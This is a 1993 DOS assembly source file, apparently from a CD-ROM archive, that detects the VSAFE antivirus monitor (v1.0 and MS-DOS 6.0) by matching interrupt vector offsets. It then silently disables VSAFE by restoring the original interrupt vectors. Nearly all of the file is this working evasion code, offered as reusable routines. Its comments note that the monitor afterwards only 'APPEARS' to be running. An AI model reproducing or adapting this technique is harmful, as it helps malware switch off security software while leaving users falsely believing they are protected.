home *** CD-ROM | disk | FTP | other *** search
- ;**********************************************************************************************
- ;* *
- ;* FILE: ANTI-MON.ASM (c) 1993 *
- ;* PURPOSE: Detect and remove a TSR anti-viral monitor *
- ;* AUTHOR: Willoughby DATE: 05/09/93 *
- ;* *
- ;**********************************************************************************************
-
- MAIN SEGMENT BYTE
- ASSUME CS:MAIN,DS:MAIN,ES:MAIN
-
- ORG 100H
-
- ;**********************************************************************************************
- ;The purpose of this routine is simply to demonstrate the function of the FIND_AV_MON and
- ;NEUT_AV_MON routines. It displays a message based upon the results of the test for TSR anti-
- ;viral monitor interrupt vectors performed by the FIND_AV_MON routine and the action taken, if
- ;needed, by the NEUT_AV_MON routine.
-
- START: call FIND_AV_MON ;check for installed anti-viral monitors
- jc MP1 ;if carry is set, a monitor is present
- mov dx,OFFSET NOT_HERE_MSG ;if not, display appropriate message
- jmp MPEX ;during exit
- MP1: cmp WORD PTR [MONITOR_TYPE],0 ;check for type/version of monitor present
- mov dx,OFFSET MON0_HERE_MSG
- je MP2 ;if MONITOR_TYPE = 0, display v1.0 message
- mov dx,OFFSET MON1_HERE_MSG ;otherwise, display v6.0 message
- MP2: mov ah,9
- int 21H
- call NEUT_AV_MON ;then restore vectors to original values
- mov dx,OFFSET BUT_NOW_MSG ;display monitor removal message
- MPEX: mov ah,9
- int 21H
- mov ax,4C00H ;exit program
- int 21H
-
- NOT_HERE_MSG:
- DB 0DH,0AH,'VSAFE is not present.',0DH,0AH,24H
- MON0_HERE_MSG:
- DB 0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H
- MON1_HERE_MSG:
- DB 0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H
- BUT_NOW_MSG:
- DB 0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H
-
-
- ;**********************************************************************************************
- ;This routine tests for the presence in memory of two versions of VSAFE by comparing the
- ;offsets of the interrupt vectors stolen during VSAFE's installation with known VSAFE interrupt
- ;handler offsets. When it finds any three offset values in the system interrupt vector table
- ;which match the VSAFE offsets for the corresponding interrupt, the carry flag is set to
- ;indicate the presence of VSAFE in memory to the calling routine. The segment in which VSAFE
- ;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in MONITOR_TYPE for use by
- ;the NEUT_AV_MON routine.
-
- NUM_MONITORS EQU 2 ;# of anti-viral monitor types to check for
- NUM_VECTORS EQU 8 ;# of interrupt vector table entries to check
- MATCHES_REQ EQU 3 ;# of offset matches required for positive ID
-
- FIND_AV_MON:
- push es
- xor ax,ax
- mov es,ax ;set ES to segment of interrupt vector table
- mov cx,NUM_VECTORS ;set loop counter to # of vectors to check
- mov si,OFFSET VECTOR_OFFSETS ;point SI to start of vector offset string
- FAMLP1: lodsw ;load vector table offset of first vector
- mov bx,ax
- mov dx,w[es:bx] ;load offset of vector from table
- xor di,di
- FAMLP2: lodsw ;load offset value used by anti-viral monitor
- cmp dx,0FFFFH ;test for skip vector check value
- je FAMLP3 ;if skip value (FFFFH), exit inner loop
- cmp dx,ax ;does vector table value match monitor value?
- jne FAMLP3 ;if not, jump to end of loop
- inc BYTE PTR [OFFSET TOTAL_MATCHES+di] ;if so, increment match counter
- cmp BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ ;required # of matches found?
- jne FAMLP3 ;if not, jump to end of loop
- add bx,2 ;set BX to point at vector segment value
- mov ax,WORD PTR [es:bx] ;load anti-viral seg. value from vector table
- mov MONITOR_SEGMENT,ax ;store segment value
- mov MONITOR_TYPE,di ;store monitor number indicating version/type
- stc ;set carry flag to indicate monitor was found
- jmp FAMEX
- FAMLP3: inc di ;increment monitor number
- cmp di,NUM_MONITORS ;all monitor values checked for this vector?
- jne FAMLP2 ;if not, do it all again
- loop FAMLP1 ;if all vectors not checked, loop to check next
- clc ;clear carry flag to indicate no monitor found
- FAMEX: pop es
- ret
-
- MONITOR_SEGMENT DW ? ;storage location for monitor segment value
- MONITOR_TYPE DW ? ;ditto for monitor type
-
- TOTAL_MATCHES: DB NUM_MONITORS DUP ? ;table for vector match counts
-
- VECTOR_OFFSETS:
- DW 004CH,1039H,0352H ;INT 13H, VSAFE1 offset, VSAFE6 offset
- DW 0058H,12CDH,05DDH ;INT 16H
- DW 0080H,138CH,06BCH ;INT 20H
- DW 0084H,15F7H,0940H ;INT 21H
- DW 009CH,1887H,0C0CH ;INT 27H
- DW 00BCH,2476H,1440H ;INT 2FH
- DW 0100H,1254H,05CBH ;INT 40H
- DW 0024H,0FFFFH,02AFH ;INT 09H (FFFFH = skip vector offset check)
-
-
- ;**********************************************************************************************
- ;This routine restores all but the keyboard interrupt vectors to their original values prior
- ;to the residency of VSAFE. This is accomplished by moving the original, unencrypted (!?)
- ;vector values stored within VSAFE to their respective locations in the system interrupt vector
- ;table. VSAFE is, thereby, completely disabled, but appears to be fully functional because its
- ;user interface continues to respond correctly to user inputs. This routine uses the monitor
- ;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) values returned by the
- ;FIND_AV_MON routine.
-
- TABLE_SEGMENT EQU 0 ;interrupt vector table segment
- NUM_RESTORE EQU 6 ;number of vectors to restore
-
- NEUT_AV_MON:
- push es
- mov ax,OFFSET MON2_OFFSETS
- sub ax,OFFSET MON1_OFFSETS
- mul WORD PTR [MONITOR_TYPE] ;calc. string offset for monitor type/version
- mov si,OFFSET MON1_OFFSETS
- add si,ax ;point to first value in desired monitor string
- mov di,OFFSET TABLE_OFFSETS ;ditto for table offset string
- mov cx,NUM_RESTORE ;set counter to number of vectors to restore
- RESTORE_VECTS:
- mov bx,WORD PTR [si] ;load monitor offset of original vector value
- cmp bx,0FFFFH ;test for skip restoral value
- je SKIP ;if skip value (FFFFH), then jump to loop
- mov es,MONITOR_SEGMENT ;set ES to monitor segment
- mov ax,WORD PTR [es:bx] ;load original vector offset from monitor
- mov ORIGINAL_OFF,ax ;store in scratch pad
- mov ax,WORD PTR [es:bx+2] ;load original vector segment from monitor
- mov ORIGINAL_SEG,ax ;store in scratch pad
- mov bx,WORD PTR [di] ;load corresponding int. vector table offset
- mov es,TABLE_SEGMENT ;set ES to int. vector table segment
- mov ax,ORIGINAL_OFF ;load original vector offset
- mov WORD PTR [es:bx],ax ;store original offset in vector table
- mov ax,ORIGINAL_SEG ;load original vector segment
- mov WORD PTR [es:bx+2],ax ;store original segment in vector table
- SKIP: add si,2 ;point SI to next string value
- add di,2 ;ditto for DI
- loop RESTORE_VECTS ;loop to restore next vector
- pop es
- ret ;all done, monitor is totally neutralized
-
- ORIGINAL_OFF DW ? ;temp. storage for original int. vector offset
- ORIGINAL_SEG DW ? ;ditto for segment
-
- TABLE_OFFSETS:
- DW 004CH,0080H,0084H,009CH,00BCH,0100H ;offsets to INT vector table
-
- MON1_OFFSETS: ;VSAFE v1.0 offsets where
- DW 1967H,196FH,1977H,197BH,242AH,197FH ;original vectors are stored
- ;(FFFFH = skip vector restoral)
-
- MON2_OFFSETS: ;MS-DOS 6.0 VSAFE offsets where
- DW 0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH ;original vectors are stored
- ;(FFFFH = skip vector restoral)
-
- MAIN ENDS
-
-